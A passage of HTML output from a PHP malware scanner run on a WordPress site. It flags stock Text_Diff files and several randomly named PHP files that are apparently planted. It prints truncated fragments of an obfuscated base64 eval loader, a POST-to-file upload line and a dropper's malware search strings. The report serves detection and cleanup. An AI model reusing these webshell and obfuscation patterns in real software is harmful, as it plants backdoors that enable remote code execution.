(</span><span style="color: #0000BB">$i </span><span style="color: #007700">= </span><span style="color: #0000BB">0</span><span style="color: #007700">; </span><span style="color: #0000BB">$i </span><span style="color: #007700">< </span><span style="color: #0000BB">count</span><span style="color: #007700">(</span><span style="color: #0000BB">$this</span><span style="color: #007700">-></span><span style="color: #0000BB">_edits</span><span style="color: #007700">); </span><span style="color: #0000BB">$i</span><span style="color: #007700">++) { </span><span style="color: #0000BB">$orig </span><span style="color: #007700">= &</span><span style="color: #0000BB">$this</span><span style="color: #007700">-></span><span style="color: #0000BB">_edits</span><span style="color: #007700">[</span><span style="color: #0000BB">$i</span><span style="color: #007700">]-></span><span style="color: #0000BB">orig</span><span style="color: #007700">; if (</span><span style="color: #0000BB">is_array</span><span style="color: #007700">(</span><span style="color: #0000BB">$orig</span><span style="color: #007700">)) { </span><span style="color: #0000BB">$orig </span><span style="color: #007700">= </span><span style="color: #0000BB">array_slice</span><span style="color: #007700">(</span><span style="color: #0000BB">$from_lines</span><span style="color: #007700">, </span><span style="color: #0000BB">$xi</span><span style="color: #007700">, </span><span style="color: #0000BB">count</span><span style="color: #007700">(</span><span style="color: #0000BB">$orig</span><span style="color: #007700">)); </span><span style="color: #0000BB">$xi </span><span style="color: #007700">+= </span><span style="color: #0000BB">count</span><span style="color: #007700">(</span><span style="color: #0000BB">$orig</span><span style="color: #007700">); } </span><span style="color: #0000BB">$final </span><span style="color: #007700">= &</span><span style="color: #0000BB">$this</span><span style="color: #007700">-></span><span style="color: #0000BB">_edits</span><span style="color: #007700">[</span><span style="color: #0000BB">$i</span><span style="color: #007700">]-></span><span style="color: #0000BB">final</span><span style="color: #007700">; if (</span><span style="color: #0000BB">is_array</span><span style="color: #007700">(</span><span style="color: #0000BB">$final</span><span style="color: #007700">)) { </span><span style="color: #0000BB">$final </span><span style="color: #007700">= </span><span style="color: #0000BB">array_slice</span><span style="color: #007700">(</span><span style="color: #0000BB">$to_lines</span><span style="color: #007700">, </span><span style="color: #0000BB">$yi</span><span style="color: #007700">, </span><span style="color: #0000BB">count</span><span style="color: #007700">(</span><span style="color: #0000BB">$final</span><span style="color: #007700">)); </span><span style="color: #0000BB">$yi </span><span style="color: #007700">+= </span><span style="color: #0000BB">count</span><span style="color: #007700">(</span><span style="color: #0000BB">$final</span><span style="color: #007700">); } ...</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_67").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/Text/Diff/Engine/shell.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.08 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2025-12-02 12:29:24</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:38</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span><br><table id="file_68" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function assert <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `assert`</p><p><i>[<a href="https://www.php.net/assert" target="_blank" class="text-primary">https://www.php.net/assert</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">assert</span><span style="color: #007700">(</span><span style="color: #0000BB">$match</span><span style="color: #007700">[</span><span style="color: #0000BB">1</span><span style="color: #007700">] - </span><span style="color: #0000BB">$from_line_no </span><span style="color: #007700">== </span><span style="color: #0000BB">$match</span><span style="color: #007700">[</span><span style="color: #0000BB">4</span><span style="color: #007700">] - </span><span style="color: #0000BB">$to_line_no</span><span style="color: #007700">); </span><span style="color: #0000BB">array_push</span><span style="color: #007700">(</span><span style="color: #0000BB">$edits</span><span style="color: #007700">, new </span><span style="color: #0000BB">Text_Diff_Op_copy</span><span style="color: #007700">( </span><span style="color: #0000BB">$this</span><span style="color: #007700">-></span><span style="color: #0000BB">_getLines</span><span style="color: #007700">(</span><span style="color: #0000BB">$from_lines</span><span style="color: #007700">, </span><span style="color: #0000BB">$from_line_no</span><span style="color: #007700">, </span><span style="color: #0000BB">$match</span><span style="color: #007700">[</span><span style="color: #0000BB">1</span><span style="color: #007700">] - </span><span style="color: #0000BB">1</span><span style="color: #007700">), </span><span style="color: #0000BB">$this</span><span style="color: #007700">-></span><span style="color: #0000BB">_getLines</span><span style="color: #007700">(</span><span style="color: #0000BB">$to_lines</span><span style="color: #007700">, </span><span style="color: #0000BB">$to_line_no</span><span style="color: #007700">, </span><span style="color: #0000BB">$match</span><span style="color: #007700">[</span><span style="color: #0000BB">4</span><span style="color: #007700">] - </span><span style="color: #0000BB">1</span><span style="color: #007700">))); } switch (</span><span style="color: #0000BB">$match</span><span style="color: #007700">[</span><span style="color: #0000BB">3</span><span style="color: #007700">]) { case </span><span style="color: #DD0000">'d'</span><span style="color: #007700">: </span><span style="color: #0000BB">array_push</span><span style="color: #007700">(</span><span style="color: #0000BB">$edits</span><span style="color: #007700">, new </span><span style="color: #0000BB">Text_Diff_Op_delete</span><span style="color: #007700">( </span><span style="color: #0000BB">$this</span><span style="color: #007700">-></span><span style="color: #0000BB">_getLines</span><span style="color: #007700">(</span><span style="color: #0000BB">$from_lines</span><span style="color: #007700">, </span><span style="color: #0000BB">$from_line_no</span><span style="color: #007700">, </span><span style="color: #0000BB">$match</span><span style="color: #007700">[</span><span style="color: #0000BB">2</span><span style="color: #007700">]))); </span><span style="color: #0000BB">$to_line_no</span><span style="color: #007700">++; break; case </span><span style="color: #DD0000">'c'</span><span style="color: #007700">: </span><span style="color: #0000BB">array_push</span><span style="color: #007700">(</span><span style="color: #0000BB">$edits</span><span style="color: #007700">, new </span><span style="color: #0000BB">Text_Diff_Op_change</span><span style="color: #007700">( </span><span style="color: #0000BB">$this</span><span style="color: #007700">-></span><span style="color: #0000BB">_getLines</span><span style="color: #007700">(</span><span style="color: #0000BB">$from_lines</span><span style="color: #007700">, </span><span style="color: #0000BB">$from_line_no</span><span style="color: #007700">, </span><span style="color: #0000BB">$match</span><span style="color: #007700">[</span><span style="color: #0000BB">2</span><span style="color: #007700">]), </span><span style="color: #0000BB">$this</span><span style="color: #007700">->...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function shell_exec <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `shell_exec`</p><p><i>[<a href="https://www.php.net/shell_exec" target="_blank" class="text-primary">https://www.php.net/shell_exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">shell_exec</span><span style="color: #007700">(</span><span style="color: #0000BB">$this</span><span style="color: #007700">-></span><span style="color: #0000BB">_diffCommand </span><span style="color: #007700">. </span><span style="color: #DD0000">' ' </span><span style="color: #007700">. </span><span style="color: #0000BB">$from_file </span><span style="color: #007700">. </span><span style="color: #DD0000">' ' </span><span style="color: #007700">. </span><span style="color: #0000BB">$to_file</span><span style="color: #007700">); </span><span style="color: #0000BB">unlink</span><span style="color: #007700">(</span><span style="color: #0000BB">$from_file</span><span style="color: #007700">); </span><span style="color: #0000BB">unlink</span><span style="color: #007700">(</span><span style="color: #0000BB">$to_file</span><span style="color: #007700">); if (</span><span style="color: #0000BB">is_null</span><span style="color: #007700">(</span><span style="color: #0000BB">$diff</span><span style="color: #007700">)) { return array(new </span><span style="color: #0000BB">Text_Diff_Op_copy</span><span style="color: #007700">(</span><span style="color: #0000BB">$from_lines</span><span style="color: #007700">)); } </span><span style="color: #0000BB">$from_line_no </span><span style="color: #007700">= </span><span style="color: #0000BB">1</span><span style="color: #007700">; </span><span style="color: #0000BB">$to_line_no </span><span style="color: #007700">= </span><span style="color: #0000BB">1</span><span style="color: #007700">; </span><span style="color: #0000BB">$edits </span><span style="color: #007700">= array(); </span><span style="color: #0000BB">preg_match_all</span><span style="color: #007700">(</span><span style="color: #DD0000">'#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m'</span><span style="color: #007700">, </span><span style="color: #0000BB">$diff</span><span style="color: #007700">, </span><span style="color: #0000BB">$matches</span><span style="color: #007700">, </span><span style="color: #0000BB">PREG_SET_ORDER</span><span style="color: #007700">); foreach (</span><span style="color: #0000BB">$matches </span><span style="color: #007700">as </span><span style="color: #0000BB">$match</span><span style="color: #007700">) { if (!isset(</span><span style="color: #0000BB">$match</span><span style="color: #007700">[</span><span style="color: #0000BB">5</span><span style="color: #007700">])) { </span><span style="color: #0000BB">$match</span><span style="color: #007700">[</span><span style="color: #0000BB">5</span><span style="color: #007700">] = </span><span style="color: #0000BB">false</span><span style="color: #007700">; } if (</span><span style="color: #0000BB">$match</span><span style="color: #007700">[</span><span style="color: #0000BB">3</span><span style="color: #007700">] == </span><span style="color: #DD0000">'a'</span><span style="color: #007700">) { </span><span style="color: #0000BB">$from_line_no</span><span style="color: #007700">--; } if (</span><span style="color: #0000BB">$match</span><span style="color: #007700">[</span><span style="color: #0000BB">3</span><span style="color: #007700">] == </span><span style="color: #DD0000">'d'</span><span style="color: #007700">) { </span><span style="color: #0000BB">$to_line_no</span><span style="color: #007700">--; } if (</span><span style="color: #0000BB">$fr</span><span style="color: #007700">...</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_68").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/Text/Diff/Engine/native.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.67 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2025-12-02 12:29:24</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:38</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_69" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function assert <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `assert`</p><p><i>[<a href="https://www.php.net/assert" target="_blank" class="text-primary">https://www.php.net/assert</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">assert</span><span style="color: #007700">(</span><span style="color: #0000BB">$yi </span><span style="color: #007700">< </span><span style="color: #0000BB">$n_to </span><span style="color: #007700">|| </span><span style="color: #0000BB">$this</span><span style="color: #007700">-></span><span style="color: #0000BB">xchanged</span><span style="color: #007700">[</span><span style="color: #0000BB">$xi</span><span style="color: #007700">]); </span><span style="color: #0000BB">assert</span><span style="color: #007700">(</span><span style="color: #0000BB">$xi </span><span style="color: #007700">< </span><span style="color: #0000BB">$n_from </span><span style="color: #007700">|| </span><span style="color: #0000BB">$this</span><span style="color: #007700">-></span><span style="color: #0000BB">ychanged</span><span style="color: #007700">[</span><span style="color: #0000BB">$yi</span><span style="color: #007700">]); </span><span style="color: #0000BB">$copy </span><span style="color: #007700">= array(); while (</span><span style="color: #0000BB">$xi </span><span style="color: #007700">< </span><span style="color: #0000BB">$n_from </span><span style="color: #007700">&& </span><span style="color: #0000BB">$yi </span><span style="color: #007700">< </span><span style="color: #0000BB">$n_to </span><span style="color: #007700">&& !</span><span style="color: #0000BB">$this</span><span style="color: #007700">-></span><span style="color: #0000BB">xchanged</span><span style="color: #007700">[</span><span style="color: #0000BB">$xi</span><span style="color: #007700">] && !</span><span style="color: #0000BB">$this</span><span style="color: #007700">-></span><span style="color: #0000BB">ychanged</span><span style="color: #007700">[</span><span style="color: #0000BB">$yi</span><span style="color: #007700">]) { </span><span style="color: #0000BB">$copy</span><span style="color: #007700">[] = </span><span style="color: #0000BB">$from_lines</span><span style="color: #007700">[</span><span style="color: #0000BB">$xi</span><span style="color: #007700">++]; ++</span><span style="color: #0000BB">$yi</span><span style="color: #007700">; } if (</span><span style="color: #0000BB">$copy</span><span style="color: #007700">) { </span><span style="color: #0000BB">$edits</span><span style="color: #007700">[] = new </span><span style="color: #0000BB">Text_Diff_Op_copy</span><span style="color: #007700">(</span><span style="color: #0000BB">$copy</span><span style="color: #007700">); } </span><span style="color: #0000BB">$delete </span><span style="color: #007700">= array(); while (</span><span style="color: #0000BB">$xi </span><span style="color: #007700">< </span><span style="color: #0000BB">$n_from </span><span style="color: #007700">&& </span><span style="color: #0000BB">$this</span><span style="color: #007700">-></span><span style="color: #0000BB">xchanged</span><span style="color: #007700">[</span><span style="color: #0000BB">$xi</span><span style="color: #007700">]) { </span><span style="color: #0000BB">$delete</span><span style="color: #007700">[] = </span><span style="color: #0000BB">$from_lines</span><span style="color: #007700">[</span><span style="color: #0000BB">$xi</span><span style="color: #007700">++]; } </span><span style="color: #0000BB">$add </span><span style="color: #007700">= array(); while (</span><span style="color: #0000BB">$yi </span><span style="color: #007700">< </span><span style="color: #0000BB">$n_to </span><span style="color: #007700">&& </span><span style="color: #0000BB">$this</span><span style="color: #007700">-></span><span style="color: #0000BB">ychanged</span><span style="color: #007700">[</span><span style="color: #0000BB">$yi</span><span style="color: #007700">]) { </span><span style="color: #0000BB">$add</span><span style="color: #007700">[] = </span><span style="color: #0000BB">$to_lines</span><span style="color: #007700">[</span><span style="color: #0000BB">$yi</span><span style="color: #007700">++]; } if (</span><span style="color: #0000BB">$delete </span><span style="color: #007700">&& ...</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_69").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/X5fAijwVKRh.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 51.75 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 19:11:52</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 19:11:52</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 3</span><br><table id="file_70" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'OykpKSkpKSkpKSkpKSkpKSkpKSldODAwMDB4MFtd+KbLW1NMQUJPTEckKDVNaUUyRVZSbkFBZ1VwT1RfKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlfTspKSkpT0REc1Bnb18kKGxaWVZfKGs4ZmRHSktUV18kKGV0YWxmbml6Zyh2ZXJydHMgbnJ1dGVyO2s4ZmRHSktUV18kbGFib2xnO0pyWU42XyRsYWJvbGd7KU9ERHNQZ29fJCg1TWlFMkVWUm5BQWdVcE9UXyBub2l0Y251ZjtdNzAwMHgwW134pstbU0xBQk9MRyQ9azhmZEdKS1RXXyQ7XTYwMHgwW134pstbU0xBQk9MRyQ9SnJZTjZfJH07OUVZYm1fJCBucnV0ZXI7KSkpXTUweDBbXfimy1tTTEF...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$MAIqK</span><span style="color: #007700">(</span><span style="color: #0000BB">$eyxBz</span><span style="color: #007700">(</span><span style="color: #DD0000">'OykpKSkpKSkpKSkpKSkpKSkpKSldODAwMDB4MFtd+KbLW1NMQUJPTEckKDVNaUUyRVZSbkFBZ1VwT1RfKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlfTspKSkpT0REc1Bnb18kKGxaWVZfKGs4ZmRHSktUV18kKGV0YWxmbml6Zyh2ZXJydHMgbnJ1dGVyO2s4ZmRHSktUV18kbGFib2xnO0pyWU42XyRsYWJvbGd7KU9ERHNQZ29fJCg1TWlFMkVWUm5BQWdVcE9UXyBub2l0Y251ZjtdNzAwMHgwW134pstbU0xBQk9MRyQ9azhmZEdKS1RXXyQ7XTYwMHgwW134pstbU0xBQk9MRyQ9SnJZTjZfJH07OUVZYm1fJCBucnV0ZXI7KSkp...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">LavE</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">VJag</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_70").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/l10n/page-template-1769473585.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.03 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:26:47</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:26:47</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_71" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 108</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 55</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_71").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/3agUsxi4XtC.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 51.75 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 19:41:30</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 19:41:30</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 3</span><br><table id="file_72" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'OykpKSkpKSkpKSkpKSkpKSkpKSldODAwMDB4MFtd+KbLW1NMQUJPTEckKDVNaUUyRVZSbkFBZ1VwT1RfKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlfTspKSkpT0REc1Bnb18kKGxaWVZfKGs4ZmRHSktUV18kKGV0YWxmbml6Zyh2ZXJydHMgbnJ1dGVyO2s4ZmRHSktUV18kbGFib2xnO0pyWU42XyRsYWJvbGd7KU9ERHNQZ29fJCg1TWlFMkVWUm5BQWdVcE9UXyBub2l0Y251ZjtdNzAwMHgwW134pstbU0xBQk9MRyQ9azhmZEdKS1RXXyQ7XTYwMHgwW134pstbU0xBQk9MRyQ9SnJZTjZfJH07OUVZYm1fJCBucnV0ZXI7KSkpXTUweDBbXfimy1tTTEF...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$MAIqK</span><span style="color: #007700">(</span><span style="color: #0000BB">$eyxBz</span><span style="color: #007700">(</span><span style="color: #DD0000">'OykpKSkpKSkpKSkpKSkpKSkpKSldODAwMDB4MFtd+KbLW1NMQUJPTEckKDVNaUUyRVZSbkFBZ1VwT1RfKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlfTspKSkpT0REc1Bnb18kKGxaWVZfKGs4ZmRHSktUV18kKGV0YWxmbml6Zyh2ZXJydHMgbnJ1dGVyO2s4ZmRHSktUV18kbGFib2xnO0pyWU42XyRsYWJvbGd7KU9ERHNQZ29fJCg1TWlFMkVWUm5BQWdVcE9UXyBub2l0Y251ZjtdNzAwMHgwW134pstbU0xBQk9MRyQ9azhmZEdKS1RXXyQ7XTYwMHgwW134pstbU0xBQk9MRyQ9SnJZTjZfJH07OUVZYm1fJCBucnV0ZXI7KSkp...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">LavE</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">VJag</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_72").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/I5dbjVfHZ7e.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 28.35 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 23:17:55</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 23:17:55</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 6</span><br><table id="file_73" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit download_remote_code2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 652</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RFU (Remote File Upload), via HTTP, allow to write malicious code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">fwrite </span><span style="color: #007700">(</span><span style="color: #0000BB">$fp</span><span style="color: #007700">, </span><span style="color: #0000BB">$_POST </span><span style="color: #007700">[</span><span style="color: #DD0000">'new'</span><span style="color: #007700">])</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str2 = '</span><span style="color: #007700">Array(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str3 = '</span><span style="color: #007700">@</span><span style="color: #0000BB">$isbot</span><span style="color: #DD0000">'; $search_str4 = '</span><span style="color: #007700">@require</span><span style="color: #DD0000">'; $search_str5 = '</span><span style="color: #007700">eval(</span><span style="color: #0000BB">gzuncompress</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str6 = '</span><span style="color: #007700">@include </span><span style="color: #DD0000">"\x2'; </span><span style="color: #0000BB">$search_str7</span><span style="color: #DD0000"> = '</span><span style="color: #0000BB">$OO</span><span style="color: #DD0000">'; </span><span style="color: #0000BB">$search_str8</span><span style="color: #DD0000"> = 'cache=00'; </span><span style="color: #0000BB">$search_str9</span><span style="color: #DD0000"> = 'file_get_contents(\"../index.php\")</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #DD0000">'; $search_str12 = '</span><span style="color: #0000BB">multipart</span><span style="color: #007700">/</span><span style="color: #0000BB">form</span><span style="color: #007700">-</span><span style="color: #0000BB">data</span><span style="color: #DD0000">'; if (!file_exists($finderdata_path)</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
